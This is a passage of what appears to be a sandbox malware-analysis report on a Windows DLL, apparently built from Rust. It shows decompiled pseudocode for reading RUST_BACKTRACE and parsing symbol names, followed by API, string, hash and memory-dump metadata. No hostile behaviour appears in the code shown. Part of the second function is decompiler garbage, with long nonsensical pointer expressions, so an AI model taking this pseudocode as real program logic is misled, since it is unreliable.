				_v24 = E6E7B3B80;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6e7fadc8; // 0x680000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6E7C7370( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6e7ed2be;
							if(_t264 != 0x6e7ed2be) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6e7ed2be;
									if(_t229 == 0x6e7ed2be) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6e7ed2be;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6e7ed2be;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6e7ed2be;
											if(_t264 == 0x6e7ed2be) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6e7ed2be;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6e7ed2be;
												if(_t273 == 0x6e7ed2be) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6e7ed2be;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6E7C7370( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6E7BC310(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6e7ed0bc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6E7C7370( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6E7B0EC0(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6e7fadc8, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6e7fadc8, 0, _t167);
													}
													HeapFree( *0x6e7fadc8, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6e7fadc8, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6e7edec8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6e7fadc8, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6e7fadc8, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6e7fadc8, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6E7C6C30(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6E7C6DB0(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6e7eded0);
						asm("ud2");
						__eflags =  &_a8;
						E6E7A4AA0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6E7AD420(_t263);
					} else {
						 *0x6e7fadc8 = _t142;
						goto L3;
					}
				}
				L96:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6E7AD56C
HeapAlloc.KERNEL32(00680000,00000000,0000000A), ref: 6E7AD583

Strings

RUST_BACKTRACE, xrefs: 6E7AD63A, 6E7AD670

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 55b4d063d6a2c78d9887d57a871ae3c5bdb7668230d5fea891ae21a0c09fb27c
Instruction ID: 687a1db1781dbd4addde8f03822eb1740a9d572171bc0c533d28d9b996e8e793
Opcode Fuzzy Hash: 55b4d063d6a2c78d9887d57a871ae3c5bdb7668230d5fea891ae21a0c09fb27c
Instruction Fuzzy Hash: DB02BDB1E002198BDB14CFE8CA947DDB7B5EF49318F144229DA25B72A0D770AD81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A77B4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6E7A77B4(signed int __ecx, void* __eflags) {
				intOrPtr _t127;
				signed int _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				void* _t134;
				intOrPtr* _t136;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr* _t150;
				intOrPtr* _t153;
				intOrPtr* _t154;
				signed int* _t155;
				signed int _t157;
				signed int _t158;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				signed int _t167;
				signed int _t170;
				signed int _t171;
				void* _t173;
				void* _t175;
				signed int _t176;
				signed int _t180;
				signed int _t181;
				signed int _t183;
				signed int _t184;
				signed int _t196;
				void* _t198;
				void* _t200;
				signed char _t201;
				signed int* _t203;
				signed char _t204;
				signed int _t207;
				signed char _t208;
				intOrPtr _t212;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				char* _t220;
				char* _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t238;
				signed int _t239;
				signed int _t241;
				signed int _t245;
				intOrPtr _t250;
				signed char _t251;
				signed int _t258;
				intOrPtr _t268;
				unsigned int _t273;
				void* _t281;
				char* _t282;
				signed short _t286;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				char* _t295;
				signed int _t303;
				signed int _t307;
				void* _t308;
				void* _t311;
				void* _t312;
				signed int* _t313;
				void* _t316;

				_pop(_t127);
				if(__eflags != 0) {
					 *((intOrPtr*)(_t308 + 0x10)) = _t250;
					_t251 =  *(__ecx + 4);
					 *((intOrPtr*)(_t308 + 0x14)) = _t127;
					 *(_t308 + 4) = __ecx;
					__eflags = _t251;
					if(_t251 == 0) {
						L19:
						_t288 =  *(_t308 + 4);
						_t214 =  *(_t288 + 0x14);
						__eflags =  *(_t288 + 0x14);
						if( *(_t288 + 0x14) == 0) {
							L21:
							 *_t288 = 1;
							goto L22;
						} else {
							_push(0x10);
							_t129 = E6E7A1DE0(_t214,  &M6E7ECB85);
							_t215 = 1;
							__eflags = _t129;
							if(_t129 == 0) {
								goto L21;
							}
						}
						goto L23;
					} else {
						_t130 =  *(_t308 + 4);
						_t216 =  *(_t130 + 0xc);
						_t131 =  *(_t130 + 8);
						__eflags = _t216 - _t131;
						 *(_t308 + 0xc) = _t216;
						 *(_t308 + 8) = _t131;
						if(_t216 < _t131) {
							_t290 =  *(_t308 + 4);
							_t279 = 0xffffffff;
							_t133 =  *(_t308 + 0xc) + 1;
							__eflags = _t133;
							_t218 =  ~( *(_t308 + 8));
							while(1) {
								__eflags = _t218 + _t133 - 1;
								if(_t218 + _t133 == 1) {
									goto L19;
								}
								_t196 =  *(_t251 + _t133 - 1) & 0x000000ff;
								 *(_t290 + 0xc) = _t133;
								_t133 = _t133 + 1;
								_t279 = _t279 + 1;
								_t198 = _t196 + 0xd0;
								__eflags = _t198 - 0xa;
								if(_t198 < 0xa) {
									continue;
								} else {
									_t200 = _t198 + 0x9f;
									__eflags = _t200 - 6;
									if(_t200 < 6) {
										continue;
									} else {
										__eflags = _t200 - 0x5f;
										if(_t200 != 0x5f) {
											goto L19;
										} else {
											_t291 =  *(_t308 + 0xc);
											_t134 = _t133 + 0xfffffffe;
											_t201 = _t251;
											__eflags = _t134 - _t291;
											if(_t134 < _t291) {
												L38:
												E6E7C6F60(_t201,  *(_t308 + 8), _t291, _t134, 0x6e7ecb2c);
												_t311 = _t308 + 0xc;
												asm("ud2");
												goto L39;
											} else {
												__eflags = _t291;
												if(_t291 == 0) {
													L13:
													_t209 = _t201 + _t291;
													_t268 = _t308 + 0x18;
													 *((intOrPtr*)(_t308 + 0x18)) = _t201 + _t291;
													 *(_t308 + 0x1c) = _t279;
													E6E7A8720(_t308 + 0x20, _t268);
													__eflags =  *(_t308 + 0x20);
													if( *(_t308 + 0x20) == 0) {
														_t291 =  *( *(_t308 + 4) + 0x14);
														__eflags = _t291;
														if(_t291 == 0) {
															goto L22;
														} else {
															_push(2);
															_t180 = E6E7A1DE0(_t291, 0x6e7ecc17);
															_t316 = _t308 + 4;
															_t215 = 1;
															__eflags = _t180;
															if(_t180 != 0) {
																goto L23;
															} else {
																_push(_t279);
																_t181 = E6E7A1DE0(_t291, _t209);
																_t215 = 1;
																_t311 = _t316 + 4;
																goto L34;
															}
														}
													} else {
														_t183 =  *( *(_t308 + 4) + 0x14);
														__eflags = _t183;
														if(_t183 == 0) {
															goto L22;
														} else {
															 *(_t308 + 8) = _t183;
															_t212 =  *((intOrPtr*)(_t308 + 0x2c));
															_t184 =  *(_t308 + 0x28);
															__eflags = _t184 - 0x2710;
															asm("sbb ecx, 0x0");
															if(_t184 < 0x2710) {
																_t238 = 0x27;
															} else {
																_t241 = 0x27;
																asm("o16 nop [cs:eax+eax]");
																do {
																	 *(_t308 + 4) = _t241;
																	 *(_t308 + 0xc) = _t184;
																	_t286 = E6E7B9F10(_t184, _t212, 0x2710, 0);
																	_t184 = E6E7B9F90(_t184, _t212, 0x2710, 0);
																	_t245 = ((_t286 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
																	__eflags = 0x5f5e0ff -  *(_t308 + 0xc);
																	asm("sbb esi, ebx");
																	_t303 =  *(_t308 + 4);
																	_t212 = _t268;
																	 *((short*)(_t308 + _t303 + 0x31)) =  *(_t245 + _t245 + 0x6e7eb61c) & 0x0000ffff;
																	 *((short*)(_t308 + _t303 + 0x33)) =  *((_t286 - _t245 * 0x00000064 & 0x0000ffff) + (_t286 - _t245 * 0x00000064 & 0x0000ffff) + 0x6e7eb61c) & 0x0000ffff;
																	_t241 = _t303 - 4;
																} while (0x5f5e0ff <  *(_t308 + 0xc));
															}
															_t279 =  *(_t308 + 8);
															__eflags = _t184 - 0x63;
															if(_t184 > 0x63) {
																_t273 = _t184 & 0x0000ffff;
																_t184 = (_t273 >> 2) * 0x147b >> 0x11;
																 *((short*)(_t308 + _t238 + 0x33)) =  *((_t273 - _t184 * 0x00000064 & 0x0000ffff) + (_t273 - _t184 * 0x00000064 & 0x0000ffff) + 0x6e7eb61c) & 0x0000ffff;
																_t238 = _t238 + 0xfffffffe;
																__eflags = _t238;
															}
															__eflags = _t184 - 0xa;
															if(_t184 >= 0xa) {
																 *((short*)(_t308 + _t238 + 0x33)) =  *(_t184 + _t184 + 0x6e7eb61c) & 0x0000ffff;
																_t239 = _t238 + 0xfffffffe;
																__eflags = _t239;
															} else {
																 *((char*)(_t308 + _t238 + 0x34)) = _t184 + 0x30;
																_t239 = _t238 - 1;
															}
															__eflags = 0x27;
															_push(0x27 - _t239);
															_t291 = _t279;
															_push(_t308 + _t239 + 0x35);
															_push(0);
															_t181 = E6E7A1AA0(_t279, 0x6e7ecd60);
															_t311 = _t308 + 0xc;
															_t215 = 1;
															L34:
															__eflags = _t181;
															if(_t181 != 0) {
																goto L23;
															} else {
																__eflags =  *_t291 & 0x00000004;
																if(( *_t291 & 0x00000004) != 0) {
																	goto L22;
																} else {
																	_t201 =  *((intOrPtr*)(_t311 + 0x10)) + 0x9f;
																	__eflags = _t201 - 0x19;
																	if(__eflags <= 0) {
																		_t279 = _t201 & 0x000000ff;
																		_t134 = 4;
																		_t201 =  *((intOrPtr*)(_t311 + 0x14)) +  *((intOrPtr*)(0x6e7a7b98 + (_t201 & 0x000000ff) * 4));
																		goto __ebx;
																	}
																	L39:
																	_t220 = "called `Option::unwrap()` on a `None` value";
																	_t136 = E6E7C6E20(_t201, _t220, 0x2b, _t279, _t291, __eflags, 0x6e7ecc1c);
																	_t312 = _t311 + 4;
																	asm("ud2");
																	asm("stosb");
																	 *((intOrPtr*)(_t220 - 0x46fffffd)) =  *((intOrPtr*)(_t220 - 0x46fffffd)) + _t201;
																	_t138 = _t136 +  *_t136 +  *((intOrPtr*)(_t136 +  *_t136));
																	_t140 = _t138 +  *_t138 +  *((intOrPtr*)(_t138 +  *_t138));
																	_t221 =  &(_t220[_t140]);
																	_t203 = _t201 + _t138 + _t201 + _t138;
																	 *_t291 =  *_t291 + _t221;
																	 *0x2b =  *0x2b + _t203;
																	_t150 = _t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221))));
																	 *_t291 =  *_t291 + _t150;
																	 *0x2b =  *0x2b + 0x56;
																	 *_t221 =  *_t221 + _t203;
																	_t153 = _t150 +  *_t150 +  *((intOrPtr*)(_t150 +  *_t150)) +  *((intOrPtr*)(_t150 +  *_t150 +  *((intOrPtr*)(_t150 +  *_t150))));
																	 *((intOrPtr*)(_t153 + 3)) =  *((intOrPtr*)(_t153 + 3)) + _t153;
																	 *_t153 =  *_t153 + _t153;
																	asm("enter 0x3, 0x0");
																	asm("enter 0x3, 0x0");
																	_t154 = _t153 +  *_t153;
																	_t203[0] = _t203[0] + 0x56;
																	 *_t154 =  *_t154 + _t154;
																	_pop(_t281);
																	_t155 = _t154 +  *_t154;
																	_t203[0] = _t203[0] + _t221;
																	 *_t155 = _t155 +  *_t155;
																	__eflags =  *_t155;
																	asm("enter 0x3, 0x0");
																	if( *_t155 <= 0) {
																		 *_t155 = _t155 +  *_t155;
																		 *_t203 =  *_t203;
																		__eflags =  *_t203;
																	}
																	_t76 = _t281 + 0x55000003;
																	 *_t76 =  *(_t281 + 0x55000003) + _t221;
																	__eflags =  *_t76;
																	_push(_t203);
																	_push(_t281);
																	_push(_t291);
																	_t313 = _t312 - 0x24;
																	__eflags =  *_t221 - 1;
																	_t282 = _t221;
																	if( *_t221 != 1) {
																		_t222 =  *(_t282 + 8);
																		_t292 =  *(_t282 + 0xc);
																		_t157 =  *(_t282 + 4);
																		__eflags = _t292 - _t222;
																		_t313[3] = _t222;
																		if(_t292 >= _t222) {
																			L53:
																			__eflags = _t157;
																			if(_t157 == 0) {
																				L67:
																				_t204 = 0;
																				goto L72;
																			} else {
																				_t313[1] = 0x56;
																				_t258 = 0;
																				__eflags = _t292 - _t313[3];
																				_t204 = 0;
																				 *_t313 = _t292;
																				if(_t292 >= _t313[3]) {
																					goto L72;
																				} else {
																					_t313[2] = _t157;
																					_t225 = 0;
																					__eflags = 0;
																					_t307 =  *_t313 + 1;
																					_t164 = _t313[2];
																					asm("o16 nop [cs:eax+eax]");
																					while(1) {
																						_t165 =  *(_t164 + _t307 - 1) & 0x000000ff;
																						__eflags = _t165 - 0x5f;
																						if(_t165 == 0x5f) {
																							break;
																						}
																						_t207 = _t165 + 0xd0;
																						__eflags = _t207 - 0xa;
																						if(__eflags < 0) {
																							L63:
																							_t295 = _t282;
																							 *(_t282 + 0xc) = _t307;
																							_t170 = _t225;
																							_t208 = _t207 & 0xffffff00 | __eflags > 0x00000000;
																							_t171 = _t170 * 0x3e;
																							_t258 = (_t170 * 0x3e >> 0x20) + _t258 * 0x3e;
																							if(__eflags != 0) {
																								_t204 = 0;
																								__eflags = 0;
																								goto L71;
																							} else {
																								_t204 = 0;
																								_t225 = _t171 + (_t208 & 0x000000ff);
																								__eflags = _t225;
																								asm("adc edx, 0x0");
																								if(_t225 < 0) {
																									L71:
																									_t282 = _t295;
																									goto L72;
																								} else {
																									__eflags = _t313[3] - _t307;
																									_t164 = _t313[2];
																									_t307 = _t307 + 1;
																									_t282 = _t295;
																									if(__eflags != 0) {
																										continue;
																									} else {
																										goto L72;
																									}
																								}
																							}
																						} else {
																							_t173 = _t165 + 0x9f;
																							__eflags = _t173 - 0x1a;
																							if(__eflags >= 0) {
																								_t175 = _t173 + 0xbf;
																								__eflags = _t175 - 0x1a;
																								if(_t175 >= 0x1a) {
																									goto L67;
																								} else {
																									_t176 = _t175 + 0xe3;
																									__eflags = _t176;
																									goto L62;
																								}
																							} else {
																								_t176 = _t173 + 0xa9;
																								L62:
																								_t207 = _t176;
																								goto L63;
																							}
																						}
																						goto L76;
																					}
																					_t204 = 0;
																					_t226 = _t225 + 1;
																					__eflags = _t226;
																					 *(_t282 + 0xc) = _t307;
																					asm("adc edx, 0x0");
																					if(_t226 < 0) {
																						goto L72;
																					} else {
																						_t292 =  *_t313;
																						goto L49;
																					}
																				}
																			}
																		} else {
																			__eflags = _t157;
																			if(_t157 == 0) {
																				goto L53;
																			} else {
																				__eflags =  *((char*)(_t157 + _t292)) - 0x5f;
																				if( *((char*)(_t157 + _t292)) != 0x5f) {
																					goto L53;
																				} else {
																					_t313[1] = 0x56;
																					_t226 = 0;
